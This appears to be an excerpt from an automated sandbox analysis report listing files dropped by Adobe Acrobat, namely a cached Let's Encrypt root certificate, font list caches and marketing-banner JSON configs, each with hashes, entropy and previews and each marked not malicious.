C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7399807848416464
Encrypted:	false
SSDEEP:	3:kkFklbIj6ttfllXlE/HT8kcltNNX8RolJuRdxLlGB9lQRYwpDdt:kKLyeT8xlTNMa8RdWBwRd
MD5:	64C005FCC58896A62C854AA8577CA3F3
SHA1:	90A0ECC4194322E147ADC2F8CD2DA5D64E629AED
SHA-256:	03B6254B8EF15B977A30BD9A8B9E16A3AF6906B1D0C099C85050BADD5C968D7B
SHA-512:	E069995A2CE29264964743984957ED75129123BBCB493638BE1C390B052DBBDA6CFC506A714A1563220C27A78692CC5A53EEF890F226355F5464381D72F12445
Malicious:	false
Preview:	p...... ........(-.~c..(....................................................... ..........W....-...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2156

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2156

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.361159150035399
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJM3g98kUwPeUkwRe9:YvXKXX58VtGc7oZGMbLUkee9
MD5:	54CF96F7AA5730BE0E8927A143B4AA00
SHA1:	9B48173D86AD5CD13F8195AEDD832BEAA60718B4
SHA-256:	7AFEF0251DE17EA31514515A680783A58967967A633D0334F44D0F8C679A9A7D
SHA-512:	8CAD99548F12F8CE8D30B74F0AE9D239D537BDDC47C0A8E55A01ECA422B7D2652DD598C7CA2A757561DB50E3AEA0F0877237689ACAFD83305F7CE2A45911E446
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31593651622361
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfBoTfXpnrPeUkwRe9:YvXKXX58VtGc7oZGWTfXcUkee9
MD5:	C5B82C06116909ABB53C0E45D2020AD5
SHA1:	B3676E8276D09BB4D0CAD57FA2594B8B9FFE46EE
SHA-256:	7CAF88986865C2F22CDBAF5EE9BA65220FB13976D3575966E49FCF132E073F48
SHA-512:	0E376A9C9E54B27A94612E72F471A1B72F85B85C2585590C7AD73D4F791962409423B475A178BAEC7705624CAC0F275564068E33E089373C277BCEFF385766F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29378660980068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfBD2G6UpnrPeUkwRe9:YvXKXX58VtGc7oZGR22cUkee9
MD5:	D0BE6958D6926CF7A159F82B914C305B
SHA1:	27A273E1F95DEBAFE1AEE5879A1C48FE6313A88F
SHA-256:	E28480092FEB5E5F95C6E59320B41E67E26C47B96195BA35D6F75417D9F69D24
SHA-512:	77AD8268A734CB81E4F058376E59168EC3B4FFAF90223FF1DA6B0745930065A158693BEE3BFCBDB40EC7A63F309DC821445D63AD94C67F79FCA97496B7F03568
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.341104384075414
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfPmwrPeUkwRe9:YvXKXX58VtGc7oZGH56Ukee9
MD5:	DB8DF58933F450C8DF71AC07306EB0D6
SHA1:	12853176F615A3C5C3498DAF49E113A11817A6A4
SHA-256:	ABAAE7ACA231808C472BE36E263EF215806A3A1CAEC1F26818F0AEDE267621ED
SHA-512:	AD70F90EB0584993D8877E8301DB0C243BD1BD6A31219221C7A16F5E11D71281043060A6CDF55B2E4D18131867D07DB94B0A841A0AFDC1C5228D39A15D5C9B87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685105970950672
Encrypted:	false
SSDEEP:	24:Yv6XX58Vt77lpLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:Yvhvhgy6SAFv5Ah8cv/I
MD5:	2B6E7D03B8E52D2A510A26B6AFBE3B73
SHA1:	5A79066AF8AE5680A450A32E1D31227A04189F15
SHA-256:	A4118CD1B7F98F79E6F6662F9DEE9E327C13D910998804BFBB0F2029E05EDFD4
SHA-512:	1BFC99B8297719D2757137EEF164655BBB82459070C1EA812502817A3CFC70240E84589104B717A3AA201CB223E7AC67095342475C02EC96609EED53A1E228F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289675664905571
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJf8dPeUkwRe9:YvXKXX58VtGc7oZGU8Ukee9
MD5:	FF218E5DFD3C775E80E075669A3A6C6B
SHA1:	40D1172E3D762A171F802FD4BA8763C7AAB1045B
SHA-256:	07288F06BFA9B51FC5A1BED3A2B68BB33ED2BD1A294769A80BA159AF696D20B3
SHA-512:	8BF23F0B67D8A7D74485076D46E739874CD9124FC5F09A4790588F2E5F54AAA6BADF0E4BDDB59B203F9B0A6106081FCCD659AEDC878A96D1617A873FA27FE685
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.292724788379678
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfQ1rPeUkwRe9:YvXKXX58VtGc7oZGY16Ukee9
MD5:	4BB1A660ECDF91A45F36D5F52D045392
SHA1:	2ED1C89678A4CFA9DB48280B42E7428BA068F7C6
SHA-256:	E022E42BDB09CA6E89F0ED6734CD4DAD182A442FB3FCE7C3953F37BEFCBBFDAB
SHA-512:	DEF5875D80D0557AD5C8768FF09945552BD9859F406078F23F9155082B8B844769076380303F49726C07838797842D2EA6A29E27DE24E2E86A37BCAAA0FE0303
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299778751792106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfFldPeUkwRe9:YvXKXX58VtGc7oZGz8Ukee9
MD5:	FA920E3A30DFAA0D973759F3DA00F0F7
SHA1:	F77234E614FC8713083A226AF8396675818F4501
SHA-256:	09D654F3809A2D656C133E91ADE6275F497B011418D8C3EE4B9BA1328EB91FE6
SHA-512:	B53FC1D0B878AD9BF7BBB352F5855164210FC67763FBDBC0B64409B2BFF703AC0E3F6F0DEF28DCD059CEF4E2AB8434DAA3DAE9CF9A9D7105E8281E08F7EAF12E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3172952649336525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfzdPeUkwRe9:YvXKXX58VtGc7oZGb8Ukee9
MD5:	A2582CD03AC6E7EAB476A7257B738056
SHA1:	414778F427F4A42A6BD310B33DD0FF655A0A966E
SHA-256:	F1328EDEA2C56642259779B6D3E810998CD8BD6143A329FE1F6FAFC043D0F2E7
SHA-512:	713886AF548C771054851B62640BD46EB3015D5C2C353752BFBBF9BB38A073F14F622F15FD6506CDE29DDC5B7F86D67F1178E26C9B8DDCB07FDFCD38249328B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297896066060593
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfYdPeUkwRe9:YvXKXX58VtGc7oZGg8Ukee9
MD5:	53C7987472908DDDC522BA0F16F0410A
SHA1:	260C610C793D08D9E0D94C19F4044E2DB249505E
SHA-256:	933D03B18763EA272FCA58F1FCA240C398844746319424CC12B76CB37CC1A4F9
SHA-512:	15F623535F3C796110FCEDE8EDF726AD69930A6DA1E9A1AFD2225F6A0AB0B82BB54B91FCB2B0F5BE9AEC307904293B1557492FD809953490FDDFB20759E8294E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.283909397792984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJf+dPeUkwRe9:YvXKXX58VtGc7oZG28Ukee9
MD5:	3D23EB11FBB824FC362FDEB0547C87E1
SHA1:	32D73348F4ADBA0D26914B8AC1C9734728A5CF58
SHA-256:	43E66414183FC8EBF1C504DFB110FE410BEBEBA6372B71A4A18D724E3730EC11
SHA-512:	95234CD50409A25B952D761AE0EF0407C3144D2EF63190D9156E6BE6615F9550BF0170C22011B358281B9BAC898B7DAE524A75C66C7AE2E872B8E7F79852F579
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.281457623761532
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRN58NztGnZiQ0YyoqoAvJfbPtdPeUkwRe9:YvXKXX58VtGc7oZGDV8Ukee9
MD5:	627686CE2235F5657C425A2825B7939C
SHA1:	B847771DC4D3F82B027D16EE90C1098074463E6A
SHA-256:	D77C12711225C0BFD7E58C9F5367CEF91FC64B7BDA896CA2548FC966D61BE70A
SHA-512:	188D7C31097F5A95954772EFADDB3247FF53DE3D184B871489D89722698982AA18ACB7D4AD90442E673D91EADF951928931AE4019F253B86108EF16153B09178
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc9d9228-0d06-4429-aa4e-70d0b044bb9c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736701638975,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

